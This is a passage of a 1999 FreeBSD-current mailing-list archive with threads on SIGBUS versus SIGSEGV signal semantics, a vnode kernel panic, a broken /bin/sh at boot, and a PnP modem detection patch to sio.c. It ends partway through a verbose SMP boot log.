>> 
>> Yes, this even violates the 1996 POSIX spec.
> 
> So lets make the change for 4.0. :-)

Hang on, hang on.  This has been discussed in the mailing list
before.  Bruce pointed out that it's useful for distinguishing between
protection violations and unmapped pages.  He requested that we
first implement the SA_SIGINFO support to the point where it could
accomplish that before changing SIGBUS to SIGSEGV.  I think that makes
sense.

> Just how much code will break?

Boehm-gc, maybe.  Modula-3, maybe.  I can't remember whether it
catches both signals or just SIGBUS.

John


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Oct  2 12:35:54 1999
Delivered-To: freebsd-current@freebsd.org
Received: from isbalham.ist.co.uk (isbalham.ist.co.uk [192.31.26.1])
	by hub.freebsd.org (Postfix) with ESMTP id BD04714CFF
	for <current@FreeBSD.ORG>; Sat,  2 Oct 1999 12:35:45 -0700 (PDT)
	(envelope-from rb@gid.co.uk)
Received: from gid.co.uk (uucp@localhost)
	by isbalham.ist.co.uk (8.9.2/8.8.7) with UUCP id UAA84428;
	Sat, 2 Oct 1999 20:35:44 +0100 (BST)
	(envelope-from rb@gid.co.uk)
Received: from [194.32.164.2] by seagoon.gid.co.uk; Sat, 2 Oct 1999 20:24:41 +0100 (BST)
X-Sender: rb@194.32.164.1
Message-Id: <l0302090db41c18f9f158@[194.32.164.2]>
In-Reply-To: <Pine.BSF.4.05.9910021057330.40200-100000@home.elischer.org>
References: <l0302090ab41bace68c82@[194.32.164.2]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Sat, 2 Oct 1999 20:24:40 +0000
To: Julian Elischer <julian@whistle.com>
From: Bob Bishop <rb@gid.co.uk>
Subject: Re: panic: free vnode isn't
Cc: current@FreeBSD.ORG
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

At 10:58 am -0700 2/10/99, Julian Elischer wrote:
>sft updates?

Yes

>is it possible the filesystem got totally full?
>(that combination prooduces a bug that kirk is looking at...)

No, There's about 700M free on /usr/obj, and it was in the early
tree-cleaning phase anyway.

I forgot to mention that /usr/src is NFS (but it doesn't seem likely that's
relevant).

>julian
>
>
>On Sat, 2 Oct 1999, Bob Bishop wrote:
>
>> Hi,
>>
>> panic: free vnode isn't
>>
>> with yesterday's kernel (cvsup Fri Oct  1 04:02:32 BST 1999), on an SMP
>> system early on in buildworld.
>>
>> Skeletal traceback (must get serial console fixed up):
>>
>> panic
>> getnewvnode
>> ffs_vget
>> ufs_lookup
>> ufs_vnoperate
>> vfs_cache_lookup
>> ufs_vnoperate
>> lookup
>> namei
>> unlink
>> syscall
>>
>> dmesg etc available on request.
>>
>>
>> --
>> Bob Bishop              (0118) 977 4017  international code +44 118
>> rb@gid.co.uk        fax (0118) 989 4254  between 0800 and 1800 UK
>>
>>
>>
>>
>> To Unsubscribe: send mail to majordomo@FreeBSD.org
>> with "unsubscribe freebsd-current" in the body of the message
>>



--
Bob Bishop              (0118) 977 4017  international code +44 118
rb@gid.co.uk        fax (0118) 989 4254  between 0800 and 1800 UK




To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Oct  2 12:44:36 1999
Delivered-To: freebsd-current@freebsd.org
Received: from mail.du.gtn.com (mail.du.gtn.com [194.77.9.57])
	by hub.freebsd.org (Postfix) with ESMTP id 4E7D414FD2
	for <freebsd-current@FreeBSD.ORG>; Sat,  2 Oct 1999 12:44:32 -0700 (PDT)
	(envelope-from ticso@cicely8.cicely.de)
Received: from mail.cicely.de (cicely.de [194.231.9.142])
	by mail.du.gtn.com (8.9.3/8.9.3) with ESMTP id VAA12839;
	Sat, 2 Oct 1999 21:37:20 +0200 (MET DST)
Received: from cicely8.cicely.de (cicely8.cicely.de [10.1.2.10])
	by mail.cicely.de (8.9.0/8.9.0) with ESMTP id VAA51642;
	Sat, 2 Oct 1999 21:41:45 +0200 (CEST)
Received: (from ticso@localhost)
	by cicely8.cicely.de (8.9.3/8.9.2) id VAA92156;
	Sat, 2 Oct 1999 21:41:47 +0200 (CEST)
	(envelope-from ticso)
Date: Sat, 2 Oct 1999 21:41:47 +0200
From: Bernd Walter <ticso@cicely.de>
To: Leif Neland <leifn@neland.dk>
Cc: freebsd-current@FreeBSD.ORG
Subject: Re: /bin/sh Exec format error
Message-ID: <19991002214147.A92132@cicely8.cicely.de>
References: <003401bf0cce$75665420$0e00a8c0@neland.dk>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Mailer: Mutt 0.95.3i
In-Reply-To: <003401bf0cce$75665420$0e00a8c0@neland.dk>; from Leif Neland on Sat, Oct 02, 1999 at 02:05:37PM +0200
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Sat, Oct 02, 1999 at 02:05:37PM +0200, Leif Neland wrote:
> Now system is hosed: it fails in rc.init (thereabout), because it claims /bin/sh: Exec format error.
> I can't enter single user mode either for same reason.

What about using /bin/csh for single user mode?

-- 
B.Walter                  COSMO-Project              http://www.cosmo-project.de
ticso@cicely.de             Usergroup                info@cosmo-project.de



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Oct  2 13:14:14 1999
Delivered-To: freebsd-current@freebsd.org
Received: from alpo.whistle.com (alpo.whistle.com [207.76.204.38])
	by hub.freebsd.org (Postfix) with ESMTP id D420714BF1
	for <current@FreeBSD.ORG>; Sat,  2 Oct 1999 13:13:50 -0700 (PDT)
	(envelope-from julian@whistle.com)
Received: from home.elischer.org (home.elischer.org [207.76.204.203])
	by alpo.whistle.com (8.9.1a/8.9.1) with ESMTP id NAA02704;
	Sat, 2 Oct 1999 13:13:45 -0700 (PDT)
Date: Sat, 2 Oct 1999 13:13:42 -0700 (PDT)
From: Julian Elischer <julian@whistle.com>
X-Sender: julian@home.elischer.org
To: Bob Bishop <rb@gid.co.uk>
Cc: current@FreeBSD.ORG
Subject: Re: panic: free vnode isn't
In-Reply-To: <l0302090db41c18f9f158@[194.32.164.2]>
Message-ID: <Pine.BSF.4.05.9910021312020.45216-100000@home.elischer.org>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG



On Sat, 2 Oct 1999, Bob Bishop wrote:
> >
> >On Sat, 2 Oct 1999, Bob Bishop wrote:
> >
> >> Hi,
> >>
> >> panic: free vnode isn't
> >>
> >> with yesterday's kernel (cvsup Fri Oct  1 04:02:32 BST 1999), on an SMP
> >> system early on in buildworld.
> >>
> >> Skeletal traceback (must get serial console fixed up):

Unfortunatly with this sort of panic, the panic is correct. The actual
dammage was done some (possibly considerable) time before. So a traceback
isn't so useful.


> >>
> >> panic
> >> getnewvnode
> >> ffs_vget
> >> ufs_lookup
> >> ufs_vnoperate
> >> vfs_cache_lookup
> >> ufs_vnoperate
> >> lookup
> >> namei
> >> unlink
> >> syscall
> >>
> >> dmesg etc available on request.




To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Oct  2 13:15:28 1999
Delivered-To: freebsd-current@freebsd.org
Received: from gw.nectar.com (gw.nectar.com [209.98.143.44])
	by hub.freebsd.org (Postfix) with ESMTP id 7F4CF1527A
	for <current@FreeBSD.ORG>; Sat,  2 Oct 1999 13:15:14 -0700 (PDT)
	(envelope-from nectar@nectar.com)
Received: from spawn.nectar.com (localhost [127.0.0.1])
	by gw.nectar.com (Postfix) with ESMTP
	id EF75FBEF7; Sat,  2 Oct 1999 15:15:10 -0500 (CDT)
X-Mailer: exmh version 2.0.2 2/24/98
X-PGP-RSAfprint: 00 F9 E6 A2 C5 4D 0A 76  26 8B 8B 57 73 D0 DE EE
X-PGP-RSAkey: http://www.nectar.com/nectar-rsa.txt
X-PGP-DSSfprint: AB2F 8D71 A4F4 467D 352E  8A41 5D79 22E4 71A2 8C73
X-PGP-DHfprint: 2D50 12E5 AB38 60BA AF4B  0778 7242 4460 1C32 F6B1
X-PGP-DH-DSSkey: http://www.nectar.com/nectar-dh-dss.txt
From: Jacques Vidrine <n@nectar.com>
To: "Rodney W. Grimes" <freebsd@gndrsh.dnsmgr.net>
Cc: current@FreeBSD.ORG, nectar@nectar.com
In-reply-to: <199910021645.JAA30398@gndrsh.dnsmgr.net> 
References: <199910021645.JAA30398@gndrsh.dnsmgr.net>
Subject: Re: new sigset_t and upgrading: a proposal 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Sat, 02 Oct 1999 15:15:10 -0500
Message-Id: <19991002201511.EF75FBEF7@gw.nectar.com>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On 2 October 1999 at 9:45, "Rodney W. Grimes" <freebsd@gndrsh.dnsmgr.net> wrote:

> When did we go wrong and start saying that users should build the world
> before building a new kernel?    If it was ``I'' that said it, I full
> retract any such statement, I was WRONG!.  It may have been said in the
> patchkit days, or very early FreeBSD 1.x.

We build world first, because we need an up-to-date toolchain and config
to build the kernel.

Jacques Vidrine / n@nectar.com / nectar@FreeBSD.org




To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Oct  2 13:15:31 1999
Delivered-To: freebsd-current@freebsd.org
Received: from pcnet1.pcnet.com (pcnet1.pcnet.com [204.213.232.3])
	by hub.freebsd.org (Postfix) with ESMTP id 4B54814BF1
	for <freebsd-current@freebsd.org>; Sat,  2 Oct 1999 13:15:21 -0700 (PDT)
	(envelope-from eischen@vigrid.com)
Received: from vigrid.com (pm3-pt19.pcnet.net [206.105.29.93])
	by pcnet1.pcnet.com (8.8.7/PCNet) with ESMTP id QAA01318;
	Sat, 2 Oct 1999 16:14:07 -0400 (EDT)
Message-ID: <37F667B5.C09E163D@vigrid.com>
Date: Sat, 02 Oct 1999 16:14:45 -0400
From: "Daniel M. Eischen" <eischen@vigrid.com>
X-Mailer: Mozilla 4.5 [en] (X11; I; FreeBSD 4.0-CURRENT i386)
X-Accept-Language: en
MIME-Version: 1.0
To: Doug Rabson <dfr@nlsystems.com>
Cc: sos@freebsd.dk, freebsd-current@freebsd.org
Subject: Re: Recent kernel hangs during boot with pnp sio.
References: <Pine.BSF.4.10.9910021917160.322-100000@salmon.nlsystems.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Doug Rabson wrote:
> 
> > Here, it might be the opposite.  The normal sio probes pick up the
> > pnp modem just fine, and then perhaps pnp comes along and trounces
> > on what has already been setup/configured.
> 
> Could you try this patch for me. It attempts to disable pnp devices before
> running the regular probes. This allows it to 'hide' those devices from
> the heuristic probes so that they don't get seen twice when the pnp probe
> happens.

[ Patch elided ]

This stops the kernel from hanging.  The serial device (sio2) doesn't get
detected during the regular probes and the pnp probe detects it.  But the
pnp probe detects it at the wrong IRQ (5 instead of 11).

Here's an excerpt of a verbose boot:

  sio0: irq maps: 0x801 0x811 0x801 0x801
  sio0 at port 0x3f8-0x3ff irq 4 flags 0x10 on isa0
  sio0: type 16550A
  sio1: irq maps: 0x801 0x809 0x801 0x801
  sio1 at port 0x2f8-0x2ff irq 3 on isa0
  sio1: type 16550A
  sio2: configured irq 11 not in bitmap of probed irqs 0
  sio2: irq maps: 0x801 0x801 0x801 0x801
  sio2: probe failed test(s): 0 1 2 4 6 7 9
  ppc: parallel port found at 0x378
  ppc0: ECP SPP ECP+EPP SPP
  ppc0 at port 0x378-0x37f irq 7 on isa0
  ppc0: SMC-like chipset (ECP/EPP/PS2/NIBBLE) in COMPATIBLE mode
  ppc0: FIFO with 16/16/9 bytes threshold
  plip: irq 7
  plip0: <PLIP network interface> on ppbus 0
  bpf: lp0 attached
  lpt0: <generic printer> on ppbus 0
  lpt0: Interrupt-driven port
  ppi0: <generic parallel i/o> on ppbus 0
  unknown0: <SupraExpress 56i Sp V.90> at port 0x3e8-0x3ef irq 5 on isa0

What's the unknown0?  Shouldn't that be sio2?  Do we need the logical
device ID?

From pnpinfo -v:

  Card assigned CSN #1
  Vendor ID SUP2480 (0x8024b04e), Serial Number 0x00001334
  PnP Version 1.0, Vendor Version 0
  Device Description: SupraExpress 56i Sp V.90

  Logical Device ID: SUP2480 0x8024b04e #0
          Device supports I/O Range Check
  Compatible Device ID: SUP2080 (8020b04e)

  [ See my original Email for a full listing. ]

  CSN SUP2480 (0x8024b04e), Serial Number 0x00001334

  Logical device #0
  IO:  0x03e8 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000 0x0000
  IRQ 11 0
  DMA 4 0
  IO range check 0x00 activate 0x01

Dan Eischen
eischen@vigrid.com


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Oct  2 13:30:55 1999
Delivered-To: freebsd-current@freebsd.org
Received: from apollo.backplane.com (apollo.backplane.com [216.240.41.2])
	by hub.freebsd.org (Postfix) with ESMTP id 5CE9C15392
	for <freebsd-current@FreeBSD.ORG>; Sat,  2 Oct 1999 13:30:53 -0700 (PDT)
	(envelope-from dillon@apollo.backplane.com)
Received: (from dillon@localhost)
	by apollo.backplane.com (8.9.3/8.9.1) id NAA51817;
	Sat, 2 Oct 1999 13:30:43 -0700 (PDT)
	(envelope-from dillon)
Date: Sat, 2 Oct 1999 13:30:43 -0700 (PDT)
From: Matthew Dillon <dillon@apollo.backplane.com>
Message-Id: <199910022030.NAA51817@apollo.backplane.com>
To: Bernd Walter <ticso@cicely.de>
Cc: Leif Neland <leifn@neland.dk>, freebsd-current@FreeBSD.ORG
Subject: Re: /bin/sh Exec format error
References: <003401bf0cce$75665420$0e00a8c0@neland.dk> <19991002214147.A92132@cicely8.cicely.de>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG


:On Sat, Oct 02, 1999 at 02:05:37PM +0200, Leif Neland wrote:
:> Now system is hosed: it fails in rc.init (thereabout), because it claims /bin/sh: Exec format error.
:> I can't enter single user mode either for same reason.
:
:What about using /bin/csh for single user mode?
:
:-- 
:B.Walter                  COSMO-Project              http://www.cosmo-project.de
:ticso@cicely.de             Usergroup                info@cosmo-project.de

    Also, when all else fails try booting from a FreeBSD CD.  Altneratively
    it may be possible to boot the normal kernel and use a FreeBSD CD as root
    by typing 'boot /kernel -C' (or -c, I forget which).

					-Matt
					Matthew Dillon 
					<dillon@backplane.com>



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Oct  2 14: 4: 9 1999
Delivered-To: freebsd-current@freebsd.org
Received: from smtp1.vnet.net (smtp1.vnet.net [166.82.1.31])
	by hub.freebsd.org (Postfix) with ESMTP
	id 79AE61538C; Sat,  2 Oct 1999 14:04:06 -0700 (PDT)
	(envelope-from rivers@dignus.com)
Received: from dignus.com (ponds.vnet.net [166.82.177.48])
	by smtp1.vnet.net (8.9.1a/8.9.1) with ESMTP id RAA19827;
	Sat, 2 Oct 1999 17:04:02 -0400 (EDT)
Received: from lakes.dignus.com (lakes.dignus.com [10.0.0.3])
	by dignus.com (8.9.2/8.8.5) with ESMTP id RAA10710;
	Sat, 2 Oct 1999 17:04:01 -0400 (EDT)
Received: (from rivers@localhost) by lakes.dignus.com (8.9.3/8.6.9) id RAA07287; Sat, 2 Oct 1999 17:04:11 -0400 (EDT)
Date: Sat, 2 Oct 1999 17:04:11 -0400 (EDT)
From: Thomas David Rivers <rivers@dignus.com>
Message-Id: <199910022104.RAA07287@lakes.dignus.com>
To: jdp@polstra.com, obrien@FreeBSD.ORG
Subject: Re: Now that sigcontext is gone ...
Cc: alc@cs.rice.edu, current@FreeBSD.ORG
In-Reply-To: <XFMail.991002122051.jdp@polstra.com>
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

> 
> > Just how much code will break?
> 
> Boehm-gc, maybe.  Modula-3, maybe.  I can't remember whether it
> catches both signals or just SIGBUS.

 I believe electric-fence would change as well.

	- Dave R. -


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Oct  2 14:21: 7 1999
Delivered-To: freebsd-current@freebsd.org
Received: from sasami.jurai.net (sasami.jurai.net [63.67.141.99])
	by hub.freebsd.org (Postfix) with ESMTP id 828AC153E7
	for <freebsd-current@FreeBSD.ORG>; Sat,  2 Oct 1999 14:21:02 -0700 (PDT)
	(envelope-from winter@jurai.net)
Received: from localhost (winter@localhost)
	by sasami.jurai.net (8.8.8/8.8.7) with ESMTP id RAA11275;
	Sat, 2 Oct 1999 17:20:54 -0400 (EDT)
Date: Sat, 2 Oct 1999 17:20:53 -0400 (EDT)
From: "Matthew N. Dodd" <winter@jurai.net>
To: "Daniel M. Eischen" <eischen@vigrid.com>
Cc: Doug Rabson <dfr@nlsystems.com>, sos@freebsd.dk,
	freebsd-current@FreeBSD.ORG
Subject: Re: Recent kernel hangs during boot with pnp sio.
In-Reply-To: <37F667B5.C09E163D@vigrid.com>
Message-ID: <Pine.BSF.4.10.9910021720270.1659-100000@sasami.jurai.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Sat, 2 Oct 1999, Daniel M. Eischen wrote:
> What's the unknown0?  Shouldn't that be sio2?  Do we need the logical
> device ID?

Yes.  Try adding 0x8024b04e to sio.c

-- 
| Matthew N. Dodd  | '78 Datsun 280Z | '75 Volvo 164E | FreeBSD/NetBSD  |
| winter@jurai.net |       2 x '84 Volvo 245DL        | ix86,sparc,pmax |
| http://www.jurai.net/~winter | This Space For Rent  | ISO8802.5 4ever |



To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Oct  2 15:15:55 1999
Delivered-To: freebsd-current@freebsd.org
Received: from pcnet1.pcnet.com (pcnet1.pcnet.com [204.213.232.3])
	by hub.freebsd.org (Postfix) with ESMTP id CC87415421
	for <freebsd-current@FreeBSD.ORG>; Sat,  2 Oct 1999 15:15:51 -0700 (PDT)
	(envelope-from eischen@vigrid.com)
Received: (from eischen@localhost)
	by pcnet1.pcnet.com (8.8.7/PCNet) id SAA13088;
	Sat, 2 Oct 1999 18:14:35 -0400 (EDT)
Date: Sat, 2 Oct 1999 18:14:35 -0400 (EDT)
From: Daniel Eischen <eischen@vigrid.com>
Message-Id: <199910022214.SAA13088@pcnet1.pcnet.com>
To: eischen@vigrid.com, winter@jurai.net
Subject: Re: Recent kernel hangs during boot with pnp sio.
Cc: dfr@nlsystems.com, freebsd-current@FreeBSD.ORG, sos@freebsd.dk
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

Matthew N. Dodd wrote:
> On Sat, 2 Oct 1999, Daniel M. Eischen wrote:
> > What's the unknown0?  Shouldn't that be sio2?  Do we need the logical
> > device ID?
> 
> Yes.  Try adding 0x8024b04e to sio.c

OK, I originally did that to no avail, but I didn't make the change to
the correct file (sys/isa/sio.c, not sys/dev/sio/sio.c)!  So with the
following change:

Index: sio.c
===================================================================
RCS file: /opt/b/CVS/src/sys/isa/sio.c,v
retrieving revision 1.268
diff -u -r1.268 sio.c
--- sio.c	1999/09/25 18:24:21	1.268
+++ sio.c	1999/10/02 21:54:33
@@ -568,6 +568,7 @@
 	{0x1005d041, "Generic IRDA-compatible device"},	/* PNP0510 */
 	{0x1105d041, "Generic IRDA-compatible device"},	/* PNP0511 */
 	{0x31307256, "USR3031"},	/* USR3031 */
+	{0x8024b04e, "SupraExpress 56i Sp V.90"},
 	{0}
 };

the modem is detected as:

  sio-1: irq maps: 0x801 0x821 0x801 0x801
  sio3: <SupraExpress 56i Sp V.90> at port 0x3e8-0x3ef irq 5 on isa0
  sio3: type 16550A

My BIOS places the modem at IRQ 11, but FreeBSD puts it at
IRQ 5.  It's working fine at IRQ 5 so I am once again a happy
camper :-)

Dan Eischen
eischen@vigrid.com


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Oct  2 16:11:39 1999
Delivered-To: freebsd-current@freebsd.org
Received: from arg1.demon.co.uk (arg1.demon.co.uk [194.222.34.166])
	by hub.freebsd.org (Postfix) with ESMTP id 8568414F90
	for <freebsd-current@freebsd.org>; Sat,  2 Oct 1999 16:11:35 -0700 (PDT)
	(envelope-from arg@arg1.demon.co.uk)
Received: from localhost (arg@localhost)
	by arg1.demon.co.uk (8.8.8/8.8.8) with SMTP id AAA29635;
	Sun, 3 Oct 1999 00:12:41 +0100 (BST)
	(envelope-from arg@arg1.demon.co.uk)
Date: Sun, 3 Oct 1999 00:12:40 +0100 (BST)
From: Andrew Gordon <arg@arg1.demon.co.uk>
X-Sender: arg@server.arg.sj.co.uk
To: Matthew Dillon <dillon@apollo.backplane.com>
Cc: freebsd-current@freebsd.org
Subject: Re: /bin/sh Exec format error
In-Reply-To: <199910022030.NAA51817@apollo.backplane.com>
Message-ID: <Pine.BSF.3.96.991003000834.29628A-100000@server.arg.sj.co.uk>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

On Sat, 2 Oct 1999, Matthew Dillon wrote:
> 
>     Also, when all else fails try booting from a FreeBSD CD.  Altneratively
>     it may be possible to boot the normal kernel and use a FreeBSD CD as root
>     by typing 'boot /kernel -C' (or -c, I forget which).
> 

It's -C

Note however that -C is presently broken in 3.x - needs the changes at
revision 1.19 of /sys/boot/i386/libi386/bootinfo.c merged from -current to
make it work again. 




To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-current" in the body of the message


From owner-freebsd-current  Sat Oct  2 16:36:50 1999
Delivered-To: freebsd-current@freebsd.org
Received: from feral.com (feral.com [192.67.166.1])
	by hub.freebsd.org (Postfix) with ESMTP id 04B9014C91
	for <freebsd-current@freebsd.org>; Sat,  2 Oct 1999 16:36:44 -0700 (PDT)
	(envelope-from mjacob@feral.com)
Received: from beppo.feral.com (beppo [192.67.166.79])
	by feral.com (8.8.7/8.8.7) with ESMTP id QAA20812
	for <freebsd-current@freebsd.org>; Sat, 2 Oct 1999 16:36:45 -0700
Date: Sat, 2 Oct 1999 16:36:44 -0700 (PDT)
From: Matthew Jacob <mjacob@feral.com>
Reply-To: mjacob@feral.com
To: freebsd-current@freebsd.org
Subject: broken SMPs, etc...
Message-ID: <Pine.BSF.4.10.9910021634260.53371-100000@beppo.feral.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-freebsd-current@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG


I have a very wierd case of a Dual PPRo SuperMicro board (two PCI
busses) and when running -stable, I/O through boards on the second PCI bus
is *really* delayed.

Any notion on this? -verbose boot stuff below...

-matt

Copyright (c) 1992-1999 FreeBSD Inc.
Copyright (c) 1982, 1986, 1989, 1991, 1993
	The Regents of the University of California. All rights reserved.
FreeBSD 3.3-STABLE #1: Sat Oct  2 05:28:15 PDT 1999
    mjacob@noworp.feral.com:/usr/src/sys/compile/NOWORP
Calibrating clock(s) ... TSC clock: 199459743 Hz, i8254 clock: 1193349 Hz
CLK_USE_I8254_CALIBRATION not specified - using default frequency
Timecounter "i8254"  frequency 1193182 Hz
CLK_USE_TSC_CALIBRATION not specified - using old calibration method
CPU: Pentium Pro (686-class CPU)
  Origin = "GenuineIntel"  Id = 0x619  Stepping = 9
  Features=0xfbff<FPU,VME,DE,PSE,TSC,MSR,PAE,MCE,CX8,APIC,SEP,MTRR,PGE,MCA,CMOV>
real memory  = 352321536 (344064K bytes)
Physical memory chunk(s):
0x00001000 - 0x0009efff, 647168 bytes (158 pages)
0x00346000 - 0x14ff5fff, 348848128 bytes (85168 pages)
avail memory = 339275776 (331324K bytes)
Programming 24 pins in IOAPIC #0
SMP: CPU0 apic_initialize():
     lint0: 0x00000700 lint1: 0x00010400 TPR: 0x00000010 SVR: 0x000001ff
FreeBSD/SMP: Multiprocessor motherboard
 cpu0 (BSP): apic id:  1, version: 0x00040011, at 0xfee00000
 cpu1 (AP):  apic id:  0, version: 0x00040011, at 0xfee00000
 io0 (APIC): apic id:  2, version: 0x00170011, at 0xfec00000
Found BIOS32 Service Directory header at 0xc00fdb70
Entry = 0xfdb80 (0xc00fdb80)  Rev = 0  Len = 1
PCI BIOS entry at 0xdba1
Other BIOS signatures found:
ACPI: 00000000
$PnP: 000f5b50
Preloaded elf kernel "kernel" at 0xc032a000.
Pentium Pro MTRR support enabled
SMP: CPU0 bsp_apic_configure():
     lint0: 0x00010700 lint1: 0x00000400 TPR: 0x00000010 SVR: 0x000001ff
pci_open(1):	mode 1 addr port (0x0cf8) is 0x8000005c
pci_open(1a):	mode1res=0x80000000 (0x80000000)
pci_cfgcheck:	device 0 [class=060000] [hdr=00] is there (id=12378086)
Probing for devices on PCI bus 0:
found->	vendor=0x8086, dev=0x1237, revid=0x02
	class=06-00-00, hdrtype=0x00, mfdev=0
	subordinatebus=0 	secondarybus=0
chip0: <Intel 82440FX (Natoma) PCI and memory controller> rev 0x02 on pci0.0.0
found->	vendor=0x8086, dev=0x7000, revid=0x01
	class=06-01-00, hdrtype=0x00, mfdev=1
	subordinatebus=0 	secondarybus=0
chip1: <Intel 82371SB PCI to ISA bridge> rev 0x01 on pci0.7.0
	I/O Recovery Timing: 8-bit 1 clocks, 16-bit 1 clocks
	Extended BIOS: disabled
	Lower BIOS: enabled
	Coprocessor IRQ13: enabled
	Mouse IRQ12: enabled
	Interrupt Routing: A: IRQ11, B: disabled, C: IRQ9, D: IRQ10
		MB0: IRQ15, MB1: 
found->	vendor=0x8086, dev=0x7010, revid=0x00
	class=01-01-80, hdrtype=0x00, mfdev=0
	subordinatebus=0 	secondarybus=0
	map[0]: type 4, range 32, base 0000ffa0, size  4
ide_pci0: <Intel PIIX3 Bus-master IDE controller> rev 0x00 on pci0.7.1
intel_piix_status: primary master/slave sample = 5, master/slave recovery = 4
intel_piix_status: primary master fastDMAonly disabled, pre/post disabled,
intel_piix_status:  IORDY sampling disabled,
intel_piix_status:  fast PIO disabled
intel_piix_status: primary master/slave sample = 5, master/slave recovery = 4
intel_piix_status: primary slave fastDMAonly disabled, pre/post disabled,
intel_piix_status:  IORDY sampling disabled,
intel_piix_status:  fast PIO disabled
ide_pci: busmaster 0 status: 04 from port: 0000ffa2
intel_piix_status: secondary master/slave sample = 5, master/slave recovery = 4
intel_piix_status: secondary master fastDMAonly disabled, pre/post disabled,
intel_piix_status:  IORDY sampling disabled,
intel_piix_status:  fast PIO disabled
intel_piix_status: secondary master/slave sample = 5, master/slave recovery = 4
intel_piix_status: secondary slave fastDMAonly disabled, pre/post disabled,
intel_piix_status:  IORDY sampling disabled,
intel_piix_status:  fast PIO disabled
ide_pci: busmaster 1 status: 04 from port: 0000ffaa
Freeing (NOT implemented) redirected PCI irq 11.
found->	vendor=0x5333, dev=0x8811, revid=0x54
	class=03-00-00, hdrtype=0x00, mfdev=0
	subordinatebus=0 	secondarybus=0
	intpin=a, irq=16
	map[0]: type 1, range 32, base 80000000, size 26
vga0: <S3 Trio graphics accelerator> rev 0x54 int a irq 16 on pci0.16.0
Freeing (NOT implemented) redirected PCI irq 9.
found->	vendor=0x8086, dev=0x1229, revid=0x02
	class=02-00-00, hdrtype=0x00, mfdev=0
	subordinatebus=0 	secondarybus=0
	intpin=a, irq=18
	map[0]: type 3, range 32, base ffafe000, size 12
	map[1]: type 4, range 32, base 0000ef80, size  5
	map[2]: type 1, range 32, base feb00000, size 20
fxp0: <Intel EtherExpress Pro 10/100B Ethernet> rev 0x02 int a irq 18 on pci0.19.0
fxp0: Ethernet address 00:a0:c9:aa:16:d6
bpf: fxp0 attached
found->	vendor=0x8086, dev=0x0960, revid=0x01
	class=06-04-00, hdrtype=0x01, mfdev=1
	subordinatebus=1 	secondarybus=1
chip2: <PCI to PCI bridge (vendor=8086 device=0960)> rev 0x01 on pci0.20.0
Freeing (NOT implemented) redirected PCI irq 10.
found->	vendor=0x8086, dev=0x1960, revid=0x01
	class=05-80-00, hdrtype=0x00, mfdev=1
	subordinatebus=0 	secondarybus=0
	intpin=a, irq=19
	map[0]: type 3, range 32, base ffaff000, size 12
Probing for devices on PCI bus 1:
Freeing (NOT implemented) redirected PCI irq 11.
found->	vendor=0x1077, dev=0x1020, revid=0x03
	class=01-00-00, hdrtype=0x00, mfdev=0
	subordinatebus=0 	secondarybus=0
	intpin=a, irq=16
	map[0]: type 4, range 32, base 0000dc00, size  8
	map[1]: type 1, range 32, base f66ff000, size 12
Qlogic ISP Driver, FreeBSD CAM Version 0.992, Core Version 1.10
isp0: <Qlogic ISP 1020/1040 PCI SCSI Adapter> rev 0x03 int a irq 16 on pci1.1.0
isp0: using Memory space register mapping
isp0: set PCI line size to 16
isp0: Board Revision 1040, loaded F/W Revision 7.65.0
isp0: Last F/W revision was 2.2.0
isp0: 124 max I/O commands supported
Initializing PnP override table
Probing for PnP devices:
Trying Read_Port at 203
Trying Read_Port at 243
Trying Read_Port at 283
Trying Read_Port at 2c3
Trying Read_Port at 303
Trying Read_Port at 343
Trying Read_Port at 383
Trying Read_Port at 3c3
No Plug-n-Play devices were found
Probing for devices on the ISA bus:
